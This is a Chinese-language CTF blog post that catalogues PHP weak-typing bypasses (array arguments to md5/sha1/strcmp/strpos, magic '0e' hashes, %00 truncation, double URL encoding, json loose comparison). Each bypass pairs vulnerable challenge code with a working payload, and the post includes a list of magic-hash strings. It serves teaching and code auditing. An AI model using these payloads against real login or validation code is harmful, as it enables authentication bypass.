代碼審計之弱類型繞過
前言
之前做過沒有總結,這幾天做題經常遇見弱類型繞過,寫篇博客總結一下(水一篇),嘻嘻。
提到php代碼繞過,必然會提起比較操作符
,下面來談一談比較操作符==
與===
,這兩種都可以比較兩個數字的大小,但是有很明顯的區別。
操作符 | 描述 |
---|---|
== | 把兩端變量類型轉換成相同的,再進行比較 |
=== | 先判斷兩端變量類型是否相同,再進行比較 |
注意:在兩個相等的符號中,一個字符串與一個數字相比較時,字符串會轉換成數值。
1.extract變量覆蓋
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan)) {
$content=trim(file_get_contents($flag));
if($shiyan==$content) {
echo'flag{xxx}';
} else {
echo'Oh.no';
}
}
?>
函數 | 描述 |
---|---|
extract() | 函數從數組中將變量導入到當前的符號表 |
在第三行, 運用了extract()函數, 將GET方式獲得的變量導入到當前的符號表中,然后判斷$ flag和$ shiyan兩個變量的內容是否相等。
extract()函數導致這段代碼存在一個變量覆蓋漏洞,構造Payload
Payload:?flag=&shiyan=
$ flag和$ shiyan這兩個變量的內容都會被設置成空字符串。這樣,就滿足$shiyan == $content的條件,輸出flag。
2.strcmp比較字符串
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小於 str2 返回 < 0; 如果 str1大於 str2返回 > 0;如果兩者相等,返回 0。
//比較兩個字符串(區分大小寫)
die('Flag: '.$flag);
else
print 'No';
}
?>
函數 | 用法 | 返回值 |
---|---|---|
strcmp() | strcmp(string1,string2) | 若返回0,代表兩個字符串相等 ;若返回<0 ,代表string1 小於 string2;若返回>0,代表string1 大於 string2 |
對於傳入非字符串類型的數據的時候,strcmp函數會報錯,將return 0 ,但卻判定其相等了。
所以,strcmp()在比較字符串和數組的時候直接返回0,這樣通過把目標變量設置成數組就可以繞過該函數的限制。
Payload:?a[]=123
3.urldecode二次編碼繞過
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ") {
echo "Access granted!";
echo "flag";
}
?>
函數 | 描述 |
---|---|
urldecode() | 解碼已編碼的 URL 字符串 |
使用GET傳參時,瀏覽器就已經把hakerDJ進行了一次解碼了,然后又用了urldecode函數又再次進行了一次解碼。所以我們要將hakerDJ進行二次編碼
Payload: ?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41
4.md5()函數
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
md5() | 函數計算字符串的 MD5 散列 |
== | 只需要等號兩邊的值是否相等。比如‘1’==1就成立,返回true |
=== | 需要全等號兩邊的值和類型全都相等才成立 |
md5()函數無法處理數組,如果傳入的為數組,會返回NULL,所以兩個數組經過加密后得到的都是NULL,也就是相等的。
Payload:?username[]=1&password[]=2
5.數組返回NULL繞過
<?php
$flag = "flag";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
函數 | 描述 |
---|---|
ereg | 函數搜索由指定的字符串作為由模式指定的字符串,如果發現模式則返回true,否則返回false |
strpos | 函數查找字符串在另一字符串中第一次出現的位置。 |
第4行代碼,ereg函數會對傳入的password從a-z,A-Z,0-9
進行匹配,將你的密碼限制在這三種字符中。
方法一:
strpos()
需要匹配到--
才能輸出flag,所以我們需要繞過strpos()
函數。strpos()
如果傳入數組,會返回NULL。
Payload: ?password[]=1
方法二:
搜索字母的字符是大小寫敏感的, 我們可以用%00來截斷,在%00之后的數值函數無法識別
Payload: ?password=1%00--
6. 弱類型整數大小比較繞過
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336) {
echo $flag;
函數 | 描述 |
---|---|
is_numeric() | 判斷變量是否為數字或數字字符串 |
傳入的值會被is_numeric函數進行檢測,如果為數字就直接輸出no numeric,傳參password=2000a
既不是一個數字又大於1336,返回NULL,可以繞過。
Payload: ?password=2000a
7. sha()函數比較繞過
http://123.206.87.240:9009/7.php
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password'])) {
var_dump($_GET['name']);
echo " ";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo 'Your password can not be your name!';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag); else
echo 'Invalid password.';
} else
echo 'Login first!';
?>
函數 | 描述 |
---|---|
sha1()函數無法處理數組類型,通過構造數組,將報錯並返回false,使條件成立,這樣就繞過了sha1()函數,獲得flag
Payload: ?name[]=1&password[]=2
8. md5加密相等繞過
http://123.206.87.240:9009/13.php
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)) {
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}
} else {
echo "please input a";
}
?>
字符串QNKCDZO被md5加密后之后是前兩位為0e
,然后我們找一個字符串的md5之后的結果也為e0xxx的就可以繞過。
Payload: ?a=s878926199a
原理:
PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0,
所以如果兩個不同的密碼經過哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0。
以下字符串,md5哈希值都是0e開頭的:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
9. 十六進制與數字比較
http://123.206.87.240:9009/20.php
<?php
error_reporting(0);
function noother_says_correct($temp) {
$flag = 'flag{test}';
$one = ord('1');
//ord — 返回字符的 ASCII 碼值
$nine = ord('9');
//ord — 返回字符的 ASCII 碼值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++) {
// Disallow all the digits!
$digit = ord($temp {$i});
if ( ($digit >= $one) && ($digit <= $nine) ) {
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
參數不能有1-9的數字,同時要求該參數值為3735929054,所以把值轉換成十六進制傳參。
Payload: ?password=0xdeadc0de
10. ereg正則%00截斷
http://123.206.87.240:9009/5.php
<?php
$flag = "xxx";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {
echo 'You password must be alphanumeric';
} else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) {
if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出現的位置 {
die('Flag: ' . $flag);
} else {
echo('have not been found');
}
} else {
echo 'Invalid password';
}
}
?>
傳入的值必須是數字或大小寫字符,長度小於8且大於9999999,且匹配到"-"才能輸出flag。
可以使用%00
來截斷,當ereg函數讀到 %00
的時候,就截止了。
Payload: ?password=1e8%00*-*
11. strpos數組繞過
http://123.206.87.240:9009/15.php
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必須輸入數字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '騷年,繼續努力吧啊~';
}
?>
要求傳入的參數為數字並且包含字符串“#biubiubiu”,有點難搞。
可以通過數組繞過strpos
與ereg
函數,遇到數組返回NULL,數值和類型相同。
Payload: ?ctf[]=1
12. 數字驗證正則繞過
http://123.206.87.240:9009/21.php
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD']) {
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 執行一個正則表達式匹配 {
echo 'flag';
exit;
}
while (TRUE) {
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
//[[:punct:]] 任何標點符號 [[:digit:]] 任何數字 [[:upper:]] 任何大寫字母 [[:lower:]] 任何小寫字母
foreach ($ps as $pt) {
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必須包含四種類型三種與三種以上
if ("42" == $password)
echo $flag;
else
echo 'Wrong password';
exit;
}
}
?>
代碼中涉及到的一些正則函數
正則匹配函數 | 描述 | 區別 |
---|---|---|
preg_match | 執行一個正則表達式匹配,匹配到則返回1,匹配不到則返回0 | 第一次匹配成功后就停止匹配 |
preg_match_all | 執行一個全局正則表達式匹配,返回成功模式匹配的次數,並將匹配結果存儲到一個數組中 | 匹配到字符串結束為止 |
下面還有幾個正則匹配的字符:
正則匹配字符 | 描述 | ASCII |
---|---|---|
[:graph:] | 除空格,TAB外的所有字符 | [\x21-\x7E] |
[a-zA-Z0-9] | 大小寫字母和數字 | [a-zA-Z0-9] |
[:alpha:] | 大小寫字母 | [a-zA-Z] |
[:punct:] | 任何標點符號 | [!"#$%&’()*+,-./:;<=>?@[]^_`{} ~] |
[:digit:] | 任何數字 | [0-9] |
[:upper:] | 任何大寫字母 | [A-Z] |
[:lower:] | 任何小寫字母 | [a-z] |
代碼審計
請求方法必須為POST
1、正則匹配,[:graph:]為任意字符,要求password長度超過12
2、password中必須包含標點符號,數字,大寫字母,小寫字母,並且檢測次數要超過6次
3、標點符號,數字,大寫字母,小寫字母,包含3種以上繞過
4、弱類型比較,42abc,強制轉換為數字
構造Payload,居然提示Wrong password
Payload: password=42BugKuctf.a
仔細看了一下代碼,變量原來是flag,改一下Payload
Payload: flag=42BugKuctf.a
這道題有點奇怪,隨便post一個值也能得到flag,小小腦袋有大大疑問。
13.md4繞過
if ($_GET["a"] != hash("md4", $_GET["a"])) {
echo "<br>";
die('Theshy is locked');
}
這段代碼中get進來的參數a,使a=md4(a)
才行。
百度一下md4繞過,發現可以通過科學計算法比較繞過。找一個值是一個科學計算法0e開頭的,其md4加密后也為0e開頭,弱類型比較繞過。
a | md4(a) |
---|---|
0e251288019 | 0e874956163641961271069404332409 |
0e001233333333333334557778889 | 0e434041524824285414215559233446 |
Payload為:
?a=0e251288019
或
?a=0e001233333333333334557778889
14.json繞過
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>
輸入一個數組進行json解碼,解碼后的message與key值相同才會得到flag,使用弱類型進行繞過,key肯定是字符串,兩個等號時會轉化成同一類型再進行比較,直接構造一個0就可以相等了,通過0=="admin"這種形式繞過。
Payload: message={"key":0}